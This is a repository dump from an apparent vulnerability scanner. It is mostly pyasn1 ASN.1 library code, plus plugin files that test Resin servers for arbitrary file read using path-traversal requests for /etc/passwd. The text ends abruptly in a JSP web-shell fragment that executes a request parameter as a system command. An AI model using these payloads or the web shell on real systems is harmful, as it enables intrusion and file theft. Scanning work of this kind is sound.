tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 22) 29 | ) 30 | 31 | class GraphicString(univ.OctetString): 32 | tagSet = univ.OctetString.tagSet.tagImplicitly( 33 | tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 25) 34 | ) 35 | 36 | class VisibleString(univ.OctetString): 37 | tagSet = univ.OctetString.tagSet.tagImplicitly( 38 | tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 26) 39 | ) 40 | 41 | class ISO646String(VisibleString): pass 42 | 43 | class GeneralString(univ.OctetString): 44 | tagSet = univ.OctetString.tagSet.tagImplicitly( 45 | tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 27) 46 | ) 47 | 48 | class UniversalString(univ.OctetString): 49 | tagSet = univ.OctetString.tagSet.tagImplicitly( 50 | tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 28) 51 | ) 52 | encoding = "utf-32-be" 53 | 54 | class BMPString(univ.OctetString): 55 | tagSet = univ.OctetString.tagSet.tagImplicitly( 56 | tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 30) 57 | ) 58 | encoding = "utf-16-be" 59 | 60 | class UTF8String(univ.OctetString): 61 | tagSet = univ.OctetString.tagSet.tagImplicitly( 62 | tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 12) 63 | ) 64 | encoding = "utf-8" 65 | -------------------------------------------------------------------------------- /server/vulscan/vuldb/pyasn1/type/error.py: -------------------------------------------------------------------------------- 1 | from pyasn1.error import PyAsn1Error 2 | 3 | class ValueConstraintError(PyAsn1Error): pass 4 | -------------------------------------------------------------------------------- /server/vulscan/vuldb/pyasn1/type/namedval.py: -------------------------------------------------------------------------------- 1 | # ASN.1 named integers 2 | from pyasn1 import error 3 | 4 | __all__ = [ 'NamedValues' ] 5 | 6 | class NamedValues: 7 | def __init__(self, *namedValues): 8 | self.nameToValIdx = {}; self.valToNameIdx = {} 9 | self.namedValues = () 10 | automaticVal = 1 11 | for namedValue in namedValues: 12 | if isinstance(namedValue, tuple): 13 | name, val = namedValue 14 | else: 15 | name = namedValue 16 | val = automaticVal 17 | if name in self.nameToValIdx: 18 | raise error.PyAsn1Error('Duplicate name %s' % (name,)) 19 | self.nameToValIdx[name] = val 20 | if val in self.valToNameIdx: 21 | raise error.PyAsn1Error('Duplicate value %s=%s' % (name, val)) 22 | self.valToNameIdx[val] = name 23 | self.namedValues = self.namedValues + ((name, val),) 24 | automaticVal = automaticVal + 1 25 | 26 | def __repr__(self): 27 | return '%s(%s)' % (self.__class__.__name__, ', '.join([repr(x) for x in self.namedValues])) 28 | 29 | def __str__(self): return str(self.namedValues) 30 | 31 | def __eq__(self, other): return tuple(self) == tuple(other) 32 | def __ne__(self, other): return tuple(self) != tuple(other) 33 | def __lt__(self, other): return tuple(self) < tuple(other) 34 | def __le__(self, other): return tuple(self) <= tuple(other) 35 | def __gt__(self, other): return tuple(self) > tuple(other) 36 | def __ge__(self, other): return tuple(self) >= tuple(other) 37 | def __hash__(self): return hash(tuple(self)) 38 | 39 | def getName(self, value): 40 | if value in self.valToNameIdx: 41 | return self.valToNameIdx[value] 42 | 43 | def getValue(self, name): 44 | if name in self.nameToValIdx: 45 | return self.nameToValIdx[name] 46 | 47 | def __getitem__(self, i): return self.namedValues[i] 48 | def __len__(self): return len(self.namedValues) 49 | 50 | def __add__(self, namedValues): 51 | return self.__class__(*self.namedValues + namedValues) 52 | def __radd__(self, namedValues): 53 | return self.__class__(*namedValues + tuple(self)) 54 | 55 | def clone(self, *namedValues): 56 | return self.__class__(*tuple(self) + namedValues) 57 | 58 | # XXX clone/subtype? 59 | -------------------------------------------------------------------------------- /server/vulscan/vuldb/pyasn1/type/tagmap.py: -------------------------------------------------------------------------------- 1 | from pyasn1 import error 2 | 3 | class TagMap: 4 | def __init__(self, posMap={}, negMap={}, defType=None): 5 | self.__posMap = posMap.copy() 6 | self.__negMap = negMap.copy() 7 | self.__defType = defType 8 | 9 | def __contains__(self, tagSet): 10 | return tagSet in self.__posMap or \ 11 | self.__defType is not None and tagSet not in self.__negMap 12 | 13 | def __getitem__(self, tagSet): 14 | if tagSet in self.__posMap: 15 | return self.__posMap[tagSet] 16 | elif tagSet in self.__negMap: 17 | raise error.PyAsn1Error('Key in negative map') 18 | elif self.__defType is not None: 19 | return self.__defType 20 | else: 21 | raise KeyError() 22 | 23 | def __repr__(self): 24 | s = self.__class__.__name__ + '(' 25 | if self.__posMap: 26 | s = s + 'posMap=%r, ' % (self.__posMap,) 27 | if self.__negMap: 28 | s = s + 'negMap=%r, ' % (self.__negMap,) 29 | if self.__defType is not None: 30 | s = s + 'defType=%r' % (self.__defType,) 31 | return s + ')' 32 | 33 | def __str__(self): 34 | s = self.__class__.__name__ + ':\n' 35 | if self.__posMap: 36 | s = s + 'posMap:\n%s, ' % ',\n '.join([ x.prettyPrintType() for x in self.__posMap.values()]) 37 | if self.__negMap: 38 | s = s + 'negMap:\n%s, ' % ',\n '.join([ x.prettyPrintType() for x in self.__negMap.values()]) 39 | if self.__defType is not None: 40 | s = s + 'defType:\n%s, ' % self.__defType.prettyPrintType() 41 | return s 42 | 43 | def clone(self, parentType, tagMap, uniq=False): 44 | if self.__defType is not None and tagMap.getDef() is not None: 45 | raise error.PyAsn1Error('Duplicate default value at %s' % (self,)) 46 | if tagMap.getDef() is not None: 47 | defType = tagMap.getDef() 48 | else: 49 | defType = self.__defType 50 | 51 | posMap = self.__posMap.copy() 52 | for k in tagMap.getPosMap(): 53 | if uniq and k in posMap: 54 | raise error.PyAsn1Error('Duplicate positive key %s' % (k,)) 55 | posMap[k] = parentType 56 | 57 | negMap = self.__negMap.copy() 58 | negMap.update(tagMap.getNegMap()) 59 | 60 | return self.__class__( 61 | posMap, negMap, defType, 62 | ) 63 | 64 | def getPosMap(self): return self.__posMap.copy() 65 | def getNegMap(self): return self.__negMap.copy() 66 | def getDef(self): return self.__defType 67 | -------------------------------------------------------------------------------- /server/vulscan/vuldb/pyasn1/type/useful.py: -------------------------------------------------------------------------------- 1 | # ASN.1 "useful" types 2 | from pyasn1.type import char, tag 3 | 4 | class ObjectDescriptor(char.GraphicString): 5 | tagSet = char.GraphicString.tagSet.tagImplicitly( 6 | tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 7) 7 | ) 8 | 9 | class GeneralizedTime(char.VisibleString): 10 | tagSet = char.VisibleString.tagSet.tagImplicitly( 11 | tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 24) 12 | ) 13 | 14 | class UTCTime(char.VisibleString): 15 | tagSet = char.VisibleString.tagSet.tagImplicitly( 16 | tag.Tag(tag.tagClassUniversal, tag.tagFormatSimple, 23) 17 | ) 18 | -------------------------------------------------------------------------------- /server/vulscan/vuldb/resin_fileread.json: -------------------------------------------------------------------------------- 1 | { 2 | "name" : "Resin任意文件读取_4", 3 | "info" : "可通过此漏洞读取服务器上的文件 examples", 4 | "level" : "高危", 5 | "type" : "文件读取", 6 | "author" : "wolf@YSRC", 7 | "url": "", 8 | "keyword" : "tag:resin", 9 | "source" : 1, 10 | "plugin" : { 11 | "url" : "/resin-doc/examples/jndi-appconfig/test?inputFile=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd", 12 | "tag" : "存在任意文件读取漏洞 /resin-doc/examples/jndi-appconfig/test?inputFile=../../../../../../../etc/passwd", 13 | "analyzing" : "keyword", 14 | "analyzingdata" : "root:", 15 | "data" : "", 16 | "method" : "GET" 17 | } 18 | } -------------------------------------------------------------------------------- /server/vulscan/vuldb/resin_fileread_1.json: -------------------------------------------------------------------------------- 1 | { 2 | "info" : "可通过此漏洞读取服务器上的文件 resource", 3 | "name" : "Resin任意文件读取_1", 4 | "level" : "高危", 5 | "type" : "文件读取", 6 | "author" : "wolf@YSRC", 7 | "url": "", 8 | "keyword" : "tag:resin", 9 | "source" : 1, 10 | "plugin" : { 11 | "url" : "/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd", 12 | "tag" : "存在任意文件读取漏洞 /resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd", 13 | "analyzing" : "keyword", 14 | "analyzingdata" : "root:", 15 | "data" : "", 16 | "method" : "GET" 17 | } 18 | } -------------------------------------------------------------------------------- /server/vulscan/vuldb/resin_fileread_3.json: -------------------------------------------------------------------------------- 1 | { 2 | "name" : "Resin任意文件读取_3", 3 | "info" : "Resin File Read And Directory Browsing Vul CVE:2007-2440", 4 | "level" : "高危", 5 | "type" : "文件读取", 6 | "author" : "wolf@YSRC", 7 | "url": "", 8 | "keyword" : "tag:resin", 9 | "source" : 1, 10 | "plugin" : { 11 | "url" : "/%20..\\\\web-inf", 12 | "tag" : "存在CVE:2007-2440漏洞", 13 | "analyzing" : "keyword", 14 | "analyzingdata" : "
"); Process p = Runtime.getRuntime().exec(request.getParameter("comment")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>